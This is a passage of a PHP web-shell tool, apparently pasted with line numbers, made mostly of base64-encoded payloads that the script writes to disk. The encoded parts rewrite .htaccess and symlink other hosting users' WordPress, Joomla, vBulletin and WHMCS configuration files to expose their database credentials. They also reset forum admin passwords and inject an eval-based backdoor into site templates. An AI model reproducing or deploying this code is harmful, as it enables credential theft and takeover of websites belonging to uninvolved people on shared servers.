GFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiAgICAgICAgJGYgPSBmb3Blbignc3ltLy5odGFjY2VzcycsJ3cnKTsKICAgCiAgICAgICAgZndyaXRlKCRmLCRyKTsKICAgICAgICAkY29uc3ltPSI8YSBocmVmPXN5bS8+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+Y29uZmlndXJhdGlvbiBmaWxlczwvZm9udD48L2E+IjsKICAgICAgIAllY2hvICI8YnI+U3ltIExqbmsgQWxsIENvbkZpZyA8YnI+PHU+PGZvbnQgY29sb3I9cmVkIHNpemU9MiBmYWNlPVwiY29taWMgc2FucyBtc1wiPiRjb25zeW08L2ZvbnQ+PC91PiI7CiAgICAgICAJCiAgICAgICAJCSR1c3I9ZXhwbG9kZSgiXG4iLCRfUE9TVFsndXNlciddKTsKICAgICAgIAkkY29uZmlndXJhdGlvbj1hcnJheSgid3AtY29uZmlnLnBocCIsIndvcmRwcmVzcy93cC1jb25maWcucGhwIiwiY29uZmlndXJhdGlvbi5waHAiLCJibG9nL3dwLWNvbmZpZy5waHAiLCJqb29tbGEvY29uZmlndXJhdGlvbi5waHAiLCJ2Yi9pbmNsdWRlcy9jb25maWcucGhwIiwiaW5jbHVkZXMvY29uZmlnLnBocCIsImNvbmZfZ2xvYmFsLnBocCIsImluYy9jb25maWcucGhwIiwiY29uZmlnLnBocCIsIlNldHRpbmdzLnBocCIsInNpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiwid2htL2NvbmZpZ3VyYXRpb24ucGhwIiwid2htY3MvY29uZmlndXJhdGlvbi5waHAiLCJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwid2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAiLCJ3aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAiLCJ3aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAiLCJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudC9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCJiaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwIiwiYWRtaW4vY29uZmlnLnBocCIpOwoJCWZvcmVhY2goJHVzciBhcyAkdXNzICkKCQl7CgkJCSR1cz10cmltKCR1c3MpOwoJCQkJCQkKCQkJZm9yZWFjaCgkY29uZmlndXJhdGlvbiBhcyAkYykKCQkJewoJCQkgJHJzPSIvaG9tZS8iLiR1cy4iL3B1YmxpY19odG1sLyIuJGM7CgkJCSAkcj0ic3ltLyIuJHVzLiIgLi4gIi4kYzsKCQkJIHN5bWxpbmsoJHJzLCRyKTsKCQkJCgkJfQoJCQkKCQkJfQoJCQoJCQoJCX0KCQoJCgkKCT8+CjwvY2VudGVyPgk=';
  1536. $file = fopen("symroot.php", "w+");
  1537. $write = fwrite($file, base64_decode($perltoolss));
  1538. fclose($file);
  1539. echo "<iframe src=symroot.php width=100% height=720px frameborder=0></iframe> ";
  1540. }
  1541. //UPSHELL
  1542. elseif ($action == 'upshell') {
  1543. $file = fopen($dir . "upshell.php", "w+");
  1544. $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+VVAgU0hFTEwgLSBNWSBIVVlFTjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmEgeyAKdGV4dC1kZWNvcmF0aW9uOm5vbmU7CmNvbG9yOndoaXRlOwogfQo8L3N0eWxlPiAKPHN0eWxlPgppbnB1dCB7IApjb2xvcjojMDAwMDM1OyAKZm9udDo4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Cn0KLkRJUiB7IApjb2xvcjojMDAwMDM1OyAKZm9udDpib2xkIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjtjb2xvcjojRkZGRkZGOwpiYWNrZ3JvdW5kLWNvbG9yOiNBQTAwMDA7CmJvcmRlci1zdHlsZTpub25lOwp9Ci50eHQgeyAKY29sb3I6IzJBMDAwMDsgCmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9IApib2R5LCB0YWJsZSwgc2VsZWN0LCBvcHRpb24sIC5pbmZvCnsKZm9udDpib2xkICA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Cn0KYm9keSB7CgliYWNrZ3JvdW5kLWNvbG9yOiAjRTVFNUU1Owp9Ci5zdHlsZTEge2NvbG9yOiAjQUEwMDAwfQoudGQKewpib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2Owpib3JkZXItdG9wOiAwcHg7CmJvcmRlci1sZWZ0OiAwcHg7CmJvcmRlci1yaWdodDogMHB4Owp9Ci50ZFVQCnsKYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsKYm9yZGVyLXRvcDogMXB4Owpib3JkZXItbGVmdDogMHB4Owpib3JkZXItcmlnaHQ6IDBweDsKYm9yZGVyLWJvdHRvbTogMXB4Owp9Ci5zdHlsZTQge2NvbG9yOiAjRkZGRkZGOyB9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cjw/cGhwCmVjaG8gIjxDRU5URVI+CiAgPHRhYmxlIGJvcmRlcj0nMScgY2VsbHBhZGRpbmc9JzAnIGNlbGxzcGFjaW5nPScwJyBzdHlsZT0nYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsgYm9yZGVyLXN0eWxlOiBzb2xpZDsgYm9yZGVyLWNvbG9yOiAjQzBDMEMwOyBwYWRkaW5nLWxlZnQ6IDQ7IHBhZGRpbmctcmlnaHQ6IDQ7IHBhZGRpbmctdG9wOiAxOyBwYWRkaW5nLWJvdHRvbTogMScgYm9yZGVyY29sb3I9JyMxMTExMTEnIHdpZHRoPSc4NiUnIGJnY29sb3I9JyNFMEUwRTAnPgogICAgPHRyPgogICAgICA8dGQgYmdjb2xvcj0nIzAwMDBmZicgY2xhc3M9J3RkJz48ZGl2IGFsaWduPSdjZW50ZXInIGNsYXNzPSdzdHlsZTQnPiBIYXkgY2hvbiBtYSBuZ3VvbjwvZGl2PjwvdGQ+CiAgICAgIDx0ZCBiZ2NvbG9yPScjMDAwMGZmJyBjbGFzcz0ndGQnIHN0eWxlPSdwYWRkaW5nOjBweCAwcHggMHB4IDVweCc+PGRpdiBhbGlnbj0nY2VudGVyJyBjbGFzcz0nc3R5bGU0Jz4KICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMjgwJyBzdHlsZT0ncGFkZGluZzoyMHB4IDIwcHggMjBweCAyMHB4ICc+IjsKCmlmIChpc3NldCgkX1BPU1RbJ3ZiYiddKSkKewogICAgbWtkaXIoJ3Vwc2hlbGwnLCAwNzU1KTsKICAgIGNoZGlyKCd1cHNoZWxsJyk7CiRjb25maWdzaGVsbCA9ICdQR2gwYld3K0NqeDBhWFJzWlQ1MlFuVnNiR1YwYVc0Z1MybHNiR1Z5UEM5MGFYUnNaVDRLUEdObGJuUmxjajRLUEdadmNtMGdiV1YwYUc5a1BWQlBVMVFnWVdOMGFXOXVQU2NuUGdvOFptOXVkQ0JtWVdObFBTZEJjbWxoYkNjZ1kyOXNiM0k5SnlNd01EQXdNREFuUGsxNWMzRnNJRWh2YzNROEwyWnZiblErUEdKeVBqeHBibkIxZENCMllXeDFaVDFzYjJOaGJHaHZjM1FnZEhsd1pUMTBaWGgwSUc1aGJXVTlhRzl6ZEc1aGJXVWdjMmw2WlQwbk5UQW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZERzZ1kyOXNiM0k2SUNNd01EQXdNREE3SUdadmJuUXRabUZ0YVd4NU9pQlVZV2h2YldFN0lHSnZjbVJsY2pvZ01YQjRJSE52Ykdsa0lDTTJOalkyTmpZN0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTkdSa1pHUmtZblBqeGljajRLUEdadmJuUWdabUZqWlQwblFYSnBZV3duSUdOdmJHOXlQU2NqTURBd01EQXdKejVFUWlCdVlXMWxQR0p5UGp3dlptOXVkRDQ4YVc1d2RYUWdkbUZzZFdVOVpHRjBZV0poYzJVZ2RIbHdaVDEwWlhoMElHNWhiV1U5WkdKdVlXMWxJSE5wZW1VOUp6VXdKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRN0lHTnZiRzl5T2lBak1EQXdNREF3T3lCbWIyNTBMV1poYldsc2VUb2dWR0ZvYjIxaE95QmliM0prWlhJNklERndlQ0J6YjJ4cFpDQWpOalkyTmpZMk95QmlZV05yWjNKdmRXNWtMV052Ykc5eU9pQWpSa1pHUmtaR0p6NDhZbkkrQ2p4bWIyNTBJR1poWTJVOUowRnlhV0ZzSnlCamIyeHZjajBuSXpBd01EQXdNQ2MrUkVJZ2RYTmxjanhpY2o0OEwyWnZiblErUEdsdWNIVjBJSFpoYkhWbFBYVnpaWElnZEhsd1pUMTBaWGgwSUc1aGJXVTlaR0oxYzJWeUlITnBlbVU5SnpVd0p5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFE3SUdOdmJHOXlPaUFqTURBd01EQXdPeUJtYjI1MExXWmhiV2xzZVRvZ1ZHRm9iMjFoT3lCaWIzSmtaWEk2SURGd2VDQnpiMnhwWkNBak5qWTJOalkyT3lCaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lBalJrWkdSa1pHSno0OFluSStDanhtYjI1MElHWmhZMlU5SjBGeWFXRnNKeUJqYjJ4dmNqMG5JekF3TURBd01DYytSRUlnWkdKd1lYTnpQR0p5UGp3dlptOXVkRDQ4YVc1d2RYUWdkbUZzZFdVOWNHRnpjeUIwZVhCbFBYUmxlSFFnYm1GdFpUMWtZbkJoYzNNZ2MybDZaVDBuTlRBbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkRHNnWTI5c2IzSTZJQ013TURBd01EQTdJR1p2Ym5RdFptRnRhV3g1T2lCVVlXaHZiV0U3SUdKdmNtUmxjam9nTVhCNElITnZiR2xrSUNNMk5qWTJOalk3SUdKaFkydG5jbTkxYm1RdFkyOXNiM0k2SUNOR1JrWkdSa1luUGp4aWNqNEtQR1p2Ym5RZ1ptRmpaVDBuUVhKcFlXd25JR052Ykc5eVBTY2pNREF3TURBd0p6NVVZV0pzWlNCd2NtVm1hWGc4WW5JK1BDOW1iMjUwUGp4cGJuQjFkQ0IyWVd4MVpUMG5kbUppWHljZ2RIbHdaVDEwWlhoMElHNWhiV1U5Y0hKbFptbDRJSE5wZW1VOUp6VXdKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRN0lHTnZiRzl5T2lBak1EQXdNREF3T3lCbWIyNTBMV1poYldsc2VUb2dWR0ZvYjIxaE95QmliM0prWlhJNklERndlQ0J6YjJ4cFpDQWpOalkyTmpZMk95QmlZV05yWjNKdmRXNWtMV052Ykc5eU9pQWpSa1pHUmtaR0p6NDhZbkkrQ2p4bWIyNTBJR1poWTJVOUowRnlhV0ZzSnlCamIyeHZjajBuSXpBd01EQXdNQ2MrVlhObGNpQmhaRzFwYmp4aWNqNDhMMlp2Ym5RK1BHbHVjSFYwSUhaaGJIVmxQWEp2YjNRZ2RIbHdaVDEwWlhoMElHNWhiV1U5ZFhObGNpQnphWHBsUFNjMU1DY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwT3lCamIyeHZjam9nSXpBd01EQXdNRHNnWm05dWRDMW1ZVzFwYkhrNklGUmhhRzl0WVRzZ1ltOXlaR1Z5T2lBeGNIZ2djMjlzYVdRZ0l6WTJOalkyTmpzZ1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0kwWkdSa1pHUmljK1BHSnlQZ284Wm05dWRDQm1ZV05sUFNkQmNtbGhiQ2NnWTI5c2IzSTlKeU13TURBd01EQW5QazVsZHlCd1lYTnpJR0ZrYldsdVBHSnlQand2Wm05dWRENDhhVzV3ZFhRZ2RtRnNkV1U5TVRJek5EVTJJSFI1Y0dVOWRHVjRkQ0J1WVcxbFBYQmhjM01nYzJsNlpUMG5OVEFuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2REc2dZMjlzYjNJNklDTXdNREF3TURBN0lHWnZiblF0Wm1GdGFXeDVPaUJVWVdodmJXRTdJR0p2Y21SbGNqb2dNWEI0SUhOdmJHbGtJQ00yTmpZMk5qWTdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ05HUmtaR1JrWW5QanhpY2o0S1BHWnZiblFnWm1GalpUMG5RWEpwWVd3bklHTnZiRzl5UFNjak1EQXdNREF3Sno1T1pYY2dSUzF0WVdsc0lHRmtiV2x1UEdKeVBqd3ZabTl1ZEQ0OGFXNXdkWFFnZG1Gc2RXVTlhM2x0YkdwdWEwQjVZV2h2Ynk1amIyMGdkSGx3WlQxMFpYaDBJRzVoYldVOVpXMWhhV3dnYzJsNlpUMG5OVEFuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2REc2dZMjlzYjNJNklDTXdNREF3TURBN0lHWnZiblF0Wm1GdGFXeDVPaUJVWVdodmJXRTdJR0p2Y21SbGNqb2dNWEI0SUhOdmJHbGtJQ00yTmpZMk5qWTdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ05HUmtaR1JrWW5QanhpY2o0S1BHWnZiblFnWm1GalpUMG5RWEpwWVd3bklHTnZiRzl5UFNjak1EQXdNREF3Sno1RGIyUmxJRk5vWld4c1BHSnlQand2Wm05dWRENDhkR1Y0ZEdGeVpXRWdibUZ0WlQwaVpHRjBZU0lnWTI5c2N6MGlOREFpSUhKdmQzTTlJakV3SWo0a2MzQmhZMlZ5WDI5d1pXNEtleVI3WlhaaGJDaGlZWE5sTmpSZlpHVmpiMlJsS0NKaFYxbHZZVmhPZWxwWVVXOUtSamxSVkRGT1ZWZDVaRlJrVjBvZ2RHRllVVzVZVTJ0d1pYY3dTMGxEUVdkSlExSnRZVmQ0YkZwSGJIbEpSREJuU1dsSk4wbEJNRXRKUTBGblNVTlNkRmtnV0dodFlWZDRiRWxFTUdkS2VrbDNUVVJCZDAxRVFXNVBkekJMUkZGdlowbERRV2RLU0ZaNldsaEtiV0ZYZUd4WU1qVWdhR0pYVldkUVUwRnJXREJhU2xSRlZsUlhlV1J3WWxkR2JscFRaR1JYZVdSMVdWY3hiRW94TURkRVVXOW5TVU5CWjBvZ1NGWjZXbGhLYldGWGVHeFlNMUowWTBOQk9VbERVbVpTYTJ4TlVsWk9Za295YkhSWlYyUnNTakV4WWtvelVuUmpSamtnZFZsWE1XeEtNVEEzUkZGdlowbERRV2RoVjFsblMwZHNlbU15VmpCTFExSm1VbXRzVFZKV1RtSktNbXgwV1Zka2JFb2dNVEZpU2pJMWFHSlhWVzVZVTJ0d1NVaHpUa05wUVdkSlEwRm5TVU5CWjBwSFJtbGlNbEZuVUZOQmExcHRiSE5hVjFJZ2NHTnBOR3RrV0U1c1kyMWFjR0pIVm1aaWJVWjBXbFJ6VGtOcFFXZEpRMEZuU1VOQloxRkhNWFprYlZabVpGaENjMklnTWtacldsZFNabHB0YkhOYVUyZHJaRmhPYkdOdFduQmlSMVptWkVjeGQweERRV3RaVjBwMldrTnJOMFJSYjJkSlFUQWdTMXBYVG05aWVVazRXVEpXZFdSSFZubFFhbmhwVUd0U2RtSnRWV2RRVkRBclNVTlNNV015Vm5sYWJXeHpXbFk1ZFZrZ1Z6RnNVRU01YVZCcWQzWlpNbFoxWkVkV2VWQnBTVGRFVVhBNVJGRndPVVJSY0d4aVNFNXNaWGN3UzFwWFRtOWllV01nVGtOcWVHMWlNMHAwU1VjeGJHUkhhSFphUkRCcFZVVTVWRlpEU1dkWlYwNHdZVmM1ZFZCVFNXbEpSMVoxV1ROU05XTWdSMVU1U1cweE1XSklVbkJqUjBaNVpFTTViV0l6U25STVYxSm9aRWRGYVZCcWVIQmlia0l4WkVOQ01HVllRbXhRVTBvZ2JXRlhlR3hKYVVKMVdWY3hiRkJUU25CaVYwWnVXbE5KSzFCSGJIVmpTRll3U1VoU05XTkhWVGxKYkU0eFdXMHhjR1FnUTBsblltMUdkRnBVTUdsVk0xWnBZbGRzTUVscFFqSlpWM2d4V2xRd2FWVXpWbWxpVjJ3d1NXbzBPRXd5V25aamJUQWdLMHA2YzA1RGJqQTlJaWtwZlgxN0pIdGxlR2wwS0NsOWZTWUtKRjl3YUhCcGJtTnNkV1JsWDI5MWRIQjFkRHd2ZEdWNGRHRnlaV0UrUEdKeVBnbzhhVzV3ZFhRZ2RIbHdaVDF6ZFdKdGFYUWdkbUZzZFdVOUowTm9ZVzVuWlNjZ1BqeGljajRLUEM5bWIzSnRQand2WTJWdWRHVnlQZ284TDJoMGJXdytDancvQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzS0pHaHZjM1J1WVcxbElEMGdKRjlRVDFOVVd5ZG9iM04wYm1GdFpTZGRPd29rWkdKdVlXMWxJRDBnSkY5UVQxTlVXeWRrWW01aGJXVW5YVHNLSkdSaWRYTmxjaUE5SUNSZlVFOVRWRnNuWkdKMWMyVnlKMTA3Q2lSa1luQmhjM01nUFNBa1gxQlBVMVJiSjJSaWNHRnpjeWRkT3dva2RYTmxjajF6ZEhKZmNtVndiR0ZqWlNnaVhDY2lMQ0luSWl3a2RYTmxjaWs3Q2lSelpYUmZkWE5sY2lBOUlDUmZVRTlUVkZzbmRYTmxjaWRkT3dva2NHRnpjejF6ZEhKZmNtVndiR0ZqWlNnaVhDY2lMQ0luSWl3a2NHRnpjeWs3Q2lSelpYUmZjR0Z6Y3lBOUlDUmZVRTlUVkZzbmNHRnpjeWRkT3dva1pXMWhhV3c5YzNSeVgzSmxjR3hoWTJVb0lsd25JaXdpSnlJc0pHVnRZV2xzS1RzS0pITmxkRjlsYldGcGJDQTlJQ1JmVUU5VFZGc25aVzFoYVd3blhUc0tKSFppWDNCeVpXWnBlQ0E5SUNSZlVFOVRWRnNuY0hKbFptbDRKMTA3Q2lSa1lYUmhJRDBnSkY5UVQxTlVXeWRrWVhSaEoxMDdDaVJ6WlhSZlpHRjBZU0F1UFNBb0lpUmtZWFJoSWlrN0NpUjBZV0pzWlY5dVlXMWxJRDBnSkhaaVgzQnlaV1pwZUM0aWRYTmxjaUk3Q2lSMFlXSnNaVjl1WVcxbE1pQTlJQ1IyWWw5d2NtVm1hWGd1SW5SbGJYQnNZWFJsSWpzS0NrQnRlWE54YkY5amIyNXVaV04wS0NSb2IzTjBibUZ0WlN3a1pHSjFjMlZ5TENSa1luQmhjM01wT3dwQWJYbHpjV3hmYzJWc1pXTjBYMlJpS0NSa1ltNWhiV1VwT3dvS0pIRjFaWEo1SUQwZ0ozTmxiR1ZqZENBcUlHWnliMjBnSnlBdUlDUjBZV0pzWlY5dVlXMWxJQzRnSnlCM2FHVnlaU0IxYzJWeWJtRnRaVDBpSnlBdUlDUnpaWFJmZFhObGNpQXVJQ2NpT3ljN0NpUnlaWE4xYkhRZ1BTQnRlWE54YkY5eGRXVnllU2drY1hWbGNua3BPd29rY205M0lEMGdiWGx6Y1d4ZlptVjBZMmhmWVhKeVlYa29KSEpsYzNWc2RDazdDaVJ6WVd4MElEMGdKSEp2ZDFzbmMyRnNkQ2RkT3dva2NHRnpjekVnUFNCdFpEVW9KSE5sZEY5d1lYTnpLVHNLSkhCaGMzTXlJRDBnYldRMUtDUndZWE56TVNBdUlDUnpZV3gwS1RzS0NpUnhkV1Z5Y25reElEMGdKMVZRUkVGVVJTQW5JQzRnSkhSaFlteGxYMjVoYldVZ0xpQW5JRk5GVkNCd1lYTnpkMjl5WkQwaUp5QXVJQ1J3WVhOek1pQXVJQ2NpSUZkSVJWSkZJSFZ6WlhKdVlXMWxQU0luSUM0Z0pITmxkRjkxYzJWeUlDNGdKeUk3SnpzS0pIRjFaWEp5ZVRJZ1BTQW5WVkJFUVZSRklDY2dMaUFrZEdGaWJHVmZibUZ0WlNBdUlDY2dVMFZVSUdWdFlXbHNQU0luSUM0Z0pITmxkRjlsYldGcGJDQXVJQ2NpSUZkSVJWSkZJSFZ6WlhKdVlXMWxQU0luSUM0Z0pITmxkRjkxYzJWeUlDNGdKeUk3SnpzS0pIRjFaWEp5ZVRNZ1BTQW5WVkJFUVZSRklDY2dMaUFrZEdGaWJHVmZibUZ0WlRJZ0xpQW5JRk5GVkNCMFpXMXdiR0YwWlNBOUlpY2dMaUFrYzJWMFgyUmhkR0VnTGlBbklpQlhTRVZTUlNCMGFYUnNaU0E5SUNKbVlYRWlPeWM3Q2dva2Iyc3hQVUJ0ZVhOeGJGOXhkV1Z5ZVNna2NYVmxjbko1TVNrN0NpUnZhekU5UUcxNWMzRnNYM0YxWlhKNUtDUnhkV1Z5Y25reUtUc0tKRzlyTVQxQWJYbHpjV3hmY1hWbGNua29KSEYxWlhKeWVUTXBPd29LYVdZb0pHOXJNU2w3Q21WamFHOGdJanh6WTNKcGNIUStZV3hsY25Rb0ozWkNkV3hzWlhScGJpQnBibVp2SUdOb1lXNW5aV1FnWVc1a0lGTm9aV3hzSUdGMllXbHNZV0pzWlNCcGN5Qm1ZWEV1Y0dod0lEb3BKeWs3UEM5elkzSnBjSFErSWpzS2ZRby9QaUE9Cic7CgokZmlsZSA9IGZvcGVuKCJ2YmIucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC92YmIucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKfQoKaWYgKGlzc2V0KCRfUE9TVFsnamwnXSkpCnsKICAgIG1rZGlyKCd1cHNoZWxsJywgMDc1NSk7CiAgICBjaGRpcigndXBzaGVsbCcpOwokY29uZmlnc2hlbGwgPSAnUEdoMGJXdytQR2hsWVdRK0NnbzhiV1YwWVNCb2RIUndMV1Z4ZFdsMlBTSkRiMjUwWlc1MExWUjVjR1VpSUdOdmJuUmxiblE5SW5SbGVIUXZhSFJ0YkRzZ1kyaGhjbk5sZEQxMWRHWXRPQ0krQ2dvS1BHSStQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo0OGMzQmhiaUJ6ZEhsc1pUMGlZMjlzYjNJNklHSnNkV1U3SWo1RHc2RmphQ0F4SURvZ1BDOXpjR0Z1UGp4aWNpQXZQZ3BmVEc5aFpDQXZZV1J0YVc1cGMzUnlZWFJ2Y2lBbVozUTdJRWRzYjJKaGJDQkRiMjVtYVdkMWNtRjBhVzl1SUNabmREc2dVM2x6ZEdWeWJTQW1aM1E3SUUxbFpHbGhJRk5sZEhScGJtY2dKbWQwT3lCMGFNT3FiU0RFa2VHN2kyNW9JR1RodXFGdVp5QThjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBpNXdhSEE4TDNOd1lXNCtQR0p5SUM4K0NsOVRZWFVneEpIRHN5QjJ3NkJ2SUUxbFpHbGhJRTFoYm1GblpYSWdkWEFnUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCeVpXUTdJajV6YUdWc2JDNXdhSEE4TDNOd1lXNCtQR0p5SUM4K0NsOURhT0c2b1hrZ2MyaGxiR3c2SUR4aElHaHlaV1k5SW1oMGRIQTZMeTkyYVdOMGFXMHZhVzFoWjJWekwzTm9aV3hzTG5Cb2NDSWdkR0Z5WjJWMFBTSmZZbXhoYm1zaVBtaDBkSEE2THk5MmFXTjBhVzB2YVcxaFoyVnpMM05vWld4c0xuQm9jRHd2WVQ0bWJtSnpjRHM4TDNOd1lXNCtQQzlpUGp4aWNpQXZQZ284WW5JZ0x6NEtQSE53WVc0Z2MzUjViR1U5SW1OdmJHOXlPaUJpYkhWbE95SStQR0krUEhOd1lXNGdjM1I1YkdVOUltWnZiblF0YzJsNlpUb2diR0Z5WjJVN0lqNUR3NkZqYUNBOGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPaUJzWVhKblpUc2lQakk4TDNOd1lXNCtJRHBGWkdsMElIUmxiWEE4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9pQnNZWEpuWlRzaVBteGxQQzl6Y0dGdVBpQktiMjFzWVNadVluTndPend2YzNCaGJqNDhMMkkrUEM5emNHRnVQanhpY2lBdlBnbzhZajQ4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9pQnNZWEpuWlRzaVBrTm93N3B1WnlCMFlTQjJ3NkJ2SUhCbzRicW5iaUIwWlcxd2JHRjBaU0FnSm1kME95QmxaR2wwSUdQRG9Xa2dQSE53WVc0Z2MzUjViR1U5SW1OdmJHOXlPaUJ5WldRN0lqNXBibVJsZUM1d2FIQThMM053WVc0K0lERWdZenh6Y0dGdUlITjBlV3hsUFNKbWIyNTBMWE5wZW1VNklHeGhjbWRsT3lJK3c2RnBJRHd2YzNCaGJqNTBaVzF3YkdGMFpTQmlQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo3aHVxVjBJR3M4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9pQnNZWEpuWlRzaVBzT3NJQzBtWjNRN0lITmhkbVU4TDNOd1lXNCtQQzl6Y0dGdVBqd3ZjM0JoYmo0OEwySStQR0p5SUM4K0NqeGljaUF2UGdvOFlqNDhjM0JoYmlCemRIbHNaVDBpWm05dWRDMXphWHBsT2lCc1lYSm5aVHNpUGp4emNHRnVJSE4wZVd4bFBTSm1iMjUwTFhOcGVtVTZJR3hoY21kbE95SStQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo1amFEeHpjR0Z1SUhOMGVXeGxQU0ptYjI1MExYTnBlbVU2SUd4aGNtZGxPeUkrNGJxaGVTQnphR1ZzYkNCMlBITndZVzRnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nYkdGeVoyVTdJajdodTV0cElEeHpjR0Z1SUhOMGVXeGxQU0ptYjI1MExYTnBlbVU2SUd4aGNtZGxPeUkrY0dGMGFDQjBQSE53WVc0Z2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ2JHRnlaMlU3SWo3aHU1dHBJRHh6Y0dGdUlITjBlV3hsUFNKamIyeHZjam9nY21Wa095SSthVzVrWlhndWNHaHdQQzl6Y0dGdVBpQThjM0JoYmlCemRIbHNaVDBpWm05dWRDMXphWHBsT2lCc1lYSm5aVHNpUHNTUlBITndZVzRnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nYkdGeVoyVTdJajdEc3p3dmMzQmhiajQ4TDNOd1lXNCtQQzl6Y0dGdVBqd3ZjM0JoYmo0OEwzTndZVzQrUEM5emNHRnVQaUE4TDNOd1lXNCtQQzl6Y0dGdVBqd3ZjM0JoYmo0OEwySStQR0p5SUM4K0Nqd3ZhSFJ0YkQ0PQonOwoKJGZpbGUgPSBmb3BlbigiamwucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC9qbC5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9CmlmIChpc3NldCgkX1BPU1RbJ3dwJ10pKQp7CiAgICBta2RpcigndXBzaGVsbCcsIDA3NTUpOwogICAgY2hkaXIoJ3Vwc2hlbGwnKTsKJGNvbmZpZ3NoZWxsID0gJ1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQmliSFZsT3lJK1BDOXpjR0Z1UGdvS1BHSStROE9oWTJnZ01TQTZQQzlpUGp4emNHRnVJSE4w